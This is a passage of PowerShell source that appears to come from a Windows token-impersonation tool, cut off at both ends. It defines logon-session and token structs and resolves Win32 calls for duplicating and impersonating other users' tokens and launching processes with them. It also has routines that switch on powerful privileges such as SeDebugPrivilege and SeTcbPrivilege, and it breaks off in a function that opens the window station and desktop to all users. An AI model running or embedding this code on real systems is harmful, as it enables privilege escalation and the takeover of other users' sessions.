$ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null - $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() - - #Struct SECURITY_LOGON_SESSION_DATA - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null - $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() - - #Struct STARTUPINFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null - $STARTUPINFO = $TypeBuilder.CreateType() - - #Struct PROCESS_INFORMATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null - $PROCESS_INFORMATION = $TypeBuilder.CreateType() - - #Struct TOKEN_ELEVATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null - $TOKEN_ELEVATION = $TypeBuilder.CreateType() - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null - $ACE_HEADER = $TypeBuilder.CreateType() - - #Struct ACL - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null - $ACL = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null - $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() - - #Struct TRUSTEE - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null - $TRUSTEE = $TypeBuilder.CreateType() - - #Struct EXPLICIT_ACCESS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null - $EXPLICIT_ACCESS = $TypeBuilder.CreateType() - ############################### - - - ############################### - #Win32Functions - ############################### - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - - $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken - $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) - - $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation - $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) - - $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken - $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) - $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) - - $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser - $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) - - $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf - $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) - $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) - - $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData - $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) - - $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW - $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - - $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx - $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer - $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) - $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) - - $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread - $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) - - $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken - $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) - $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - - $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW - $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) - - $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW - $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) - $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) - - $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA - $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf - $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) - $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA - $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) - $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges - $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) - $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread - $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) - $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - - $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo - $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) - $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) - - $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo - $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) - $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) - - $GetAceAddr = Get-ProcAddress advapi32.dll GetAce - $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) - $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce - $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) - $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) - - $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid - $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) - - $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW - $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) - - $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree - $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) - $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) - - $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW - $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) - ############################### - - - #Used to add 64bit memory addresses - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL - function Enable-SeAssignPrimaryTokenPrivilege - { - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - } - - - #Enable SeSecurityPrivilege, needed to query security information for desktop DACL - function Enable-Privilege - { - Param( - [Parameter()] - [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", - "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", - "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", - "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", - "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", - "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", - "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", - "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] - [String] - $Privilege - ) - - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - Write-Verbose "Attempting to enable privilege: $Privilege" - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - Write-Verbose "Enabled privilege: $Privilege" - } - - - #Change the ACL of the WindowStation and Desktop - function Set-DesktopACLs - { - Enable-Privilege -Privilege SeSecurityPrivilege - - #Change the privilege for the current window station to allow full privilege for all users - $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") - 